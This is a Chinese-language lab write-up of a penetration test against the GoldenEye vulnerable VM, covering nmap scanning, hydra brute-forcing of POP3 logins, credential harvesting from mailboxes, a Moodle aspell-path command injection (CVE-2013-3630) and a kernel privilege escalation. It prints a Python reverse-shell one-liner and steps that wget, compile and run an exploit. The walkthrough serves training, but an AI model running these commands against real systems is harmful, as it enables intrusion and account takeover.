天天看点

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

记一次GoldenEye靶场渗透测试过程

靶场下载连接:

链接:https://pan.baidu.com/s/1qSU-0h8S-HyV-tkhGvCe3A

提取码:n2hq

下载完成之后,在VMware直接打开虚拟机,选择该.ova文件即可。

KALI攻击机:192.168.43.126

GoldenEye靶机:192.168.43.27

一、信息收集

1、使用nmap进行信息收集,查找同网段下的主机:

namp -sP 192.168.43.0/24

Nmap -sP 扫描所在网段存货主机(可以扫到所在局域网并且在同一网段下的存活主机)

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

获得靶场的ip地址为:192.168.43.27

2、查看端口开放情况以便利用。

nmap -sS -sV -T5 -A -p- 192.168.43.27
           

nmap -sV 扫描端口服务器版本

nmap -sS 半开扫描,使用TCP的SYN进行扫描

nmap -A扫描全面系统检测,启动脚本检测、扫描等

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

目标开启了25、80、55006、55007端口以及获得对应的服务。

25/tcp open smtp(简单邮件传输服务)

80/tcp open http(超文本传输协议)

55006/tcp open ssl/pop3(pop3被用户代理用来邮件服务器取得邮件)

55007/tcp open pop3

3、使用浏览器访问该网站:http://192.168.43.27 ,内容如下所示:

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

根据页面提示,我们进入到/sev-home/:

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

弹出用户名和密码登录窗口。F12查看网页源码,存在一个terminal.js,点击进去查看详情。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

解码为:InvincibleHack3r

到此,我们可以得到相关的登录信息:

用户名:Boris、Natalya

密码:InvincibleHack3r

尝试登录。发现登陆失败,网上参照别人的思路,将用户名改成小写:boris,登陆成功。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

将页面英文进行翻译:

pop3服务配置在非常高的非默认端口上运行 ,记得之前探测到主机开放了55007端口并且探测结果也表明它是一个pop3服务。

关于pop3协议扩展: 1、banner信息获取:

nc -nv <ip> <port>

2、nmap pop3脚本扫描:

nmap –script “pop3-capabilities or pop3-ntlm-info” -Sv -port <port> <ip>

3、pop3爆破:使用hydra或xhydra进行命令爆破:

hydra -s <port> -l <username> -p> <password> -e nsr -t 22 <ip> pop3 hydra -s <port> -L username_file> > -p <password> -e nsr -t 22 <ip> pop3

4、命令行登录pop邮箱: telnet方式:

telnet <ip> <port>

nc方式:

nc <ip> <port>

注:这里所用的ip和端口都是服务器所用的ip和端口。

查看源码,发现有两个用户名:Boris、Natalya,我们也许可以登陆到这两个用户的邮箱中去。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

使用hydra工具(kali自带)对pop3服务进行爆破。

首先将两个用户名写到user.txt文件中,并使用hydra自带字典对密码进行爆破。

命令为:

hydra 192.168.43.27 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt

关于hydra参数的使用:

-l login 小写,指定用户名进行破解

-L file 大写,指定用户的用户名字典

-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。

-P file 大写,用于指定密码字典。

-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探

-M file 指定目标ip列表文件,批量破解。

-o file 指定结果输出文件

-f 找到第一对登录名或者密码的时候中止破解。

-t tasks 同时运行的线程数,默认是16

-w time 设置最大超时时间,单位

-v / -V 显示详细过程

-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)

-x 自定义密码。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

爆出了两个用户名的密码:

用户:boris 密码:secret1!

用户:Natalya 密码:bird

接着使用nc连接pop3服务,登录这两个用户名查看邮箱的邮件信息。

nc 192.168.43.27 55007
           
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

发现里面没有什么可用信息。

尝试登录另一个用户名的邮箱。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

发现了另一个用户名和密码,此服务器域名和网站,还要求我们在本地host中国添加域名信息:

用户名:xenia

密码:RCP90rulez!

域:severnaya-station.com

网址:severnaya-station.com/gnocertdir

使用命令:

sudo vim /etc/hosts

,中间空格使用tab间

域名千万别写错,否则访问不了,我就会因为写错了一直访问网站不成功。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

查看是否添加成功:

cat /etc/hosts
           
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

看到此即为添加成功,根据提示浏览器访问网址:

http://servernaya-station.com/gnocertdir

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

观察页面,发现有个登录按钮,我们尝试使用刚才在邮件发现的用户名和密码进行登录,登陆成功之后,四处查看在"My profile"–>“Messages”–>选择"Recent conversations"(最近的对话)看到一个名为doak的用户。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

我们知道了用户名为doak,可以使用hydra尝试对其密码进行爆破。

hydra 192.168.43.27 -s 55007 pop3 -l "doak" -P /usr/share/wordlists/fasttrack.txt
           

用户名:doak

密码:goat

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

登录该邮箱,查看邮件。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

发现用户名和密码。

用户名:dr_doak

密码:4England!

使用该用户重新登录,

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

发现在My home->My private files-> for james文件夹中有一个.txt文件。将其下载并打开看看。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

根据提示,可打开图片链接,下载图片,查看属性。

访问链接:http://severnaya-station.com/dir007key/for-007.jpg

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

发现eFdpbnRlcjE5OTV4IQ==可能使base64编码啊,尝试base64解码:

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

解码后结果为:xWinter1995x!

由于我们在刚才的页面中看到admin用户,可以尝试使用 用户名为:admin和密码为:xWinter1995x! 进行登录。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

尝试登录刚才的网站。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

发现管理员的权限很多。

二、漏洞探测

查看网站的的更多信息,如下图:

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

发现网站使用的cms是Moodle使用的2.2.3版本,获得版本名称后,可以上网搜索网上的可用漏洞。发现存在远程命令执行漏洞CVE-2013-3630。

在利用的EXP中在POST的时候需要将拼写检查google spell换成PSpellSHell,原因是目标主机上不存在GCC编译,只有CC编译

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

在"Settings"–>“Site administration”–>“Plugins”–>“Text editors”–>“TinyMCE HTML editor” 修改PSpellSHel

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

三、漏洞利用

在"Settings"–>“Site administration”–>“Server”–>“System paths”–>“Path to aspell” 进行命令执行。

使用python反弹shell:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.43.27”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
           
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

在本地终端里面监听8888端口,通过在blog中新建文章,随便输入字符,点击"Toggle Spellchecker"之后就会反弹到shell。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

获得一个shell权限!

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

使用python获得tty,不然有些命令无法执行。(获得tty后,可以按tab就有自动补全功能,按ctrl+c退出,不怕shell断掉等问题,比较方便)

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

四、提权

www-data的低特权用户,我们需要进行提权操作。

根据我们操作系统和内核版本号Linux ubuntu 3.13.0,在kali中查找相关漏洞。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home
           

复制至home目录。

然后使用python创建一个服务,通过服务上传37292.c到靶机中,

python -m SimpleHTTPServer 8000
           
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

然后看一下靶机中哪个目录的权限最高:

ls -al

,发现tmp目录的权限是最高的,为777,可读可写可执行,所以决定将exp下载到该目录。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

由于前面说过靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译,将gcc改成cc。

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
cd /tmp
wget http://192.168.43.126:8000/37292.c
ls  #查看是否上传成功
cc 37292.c -o exp #对37292.c进行编译并生成exp可执行文件
ls  #查看桌面是否成exp可执行文件
./exp #运行exp可执行文件
whoami #查看当前权限

           
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
cd /root
ls -al
           

发现有一个

.flag.txt

文件,使用cat命令查看,发现其内容为MD5值加密,使用在线网站记性MD5值解码,得到

006

记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权
记一次GoldenEye靶场渗透测试过程一、信息收集二、漏洞探测三、漏洞利用四、提权

继续阅读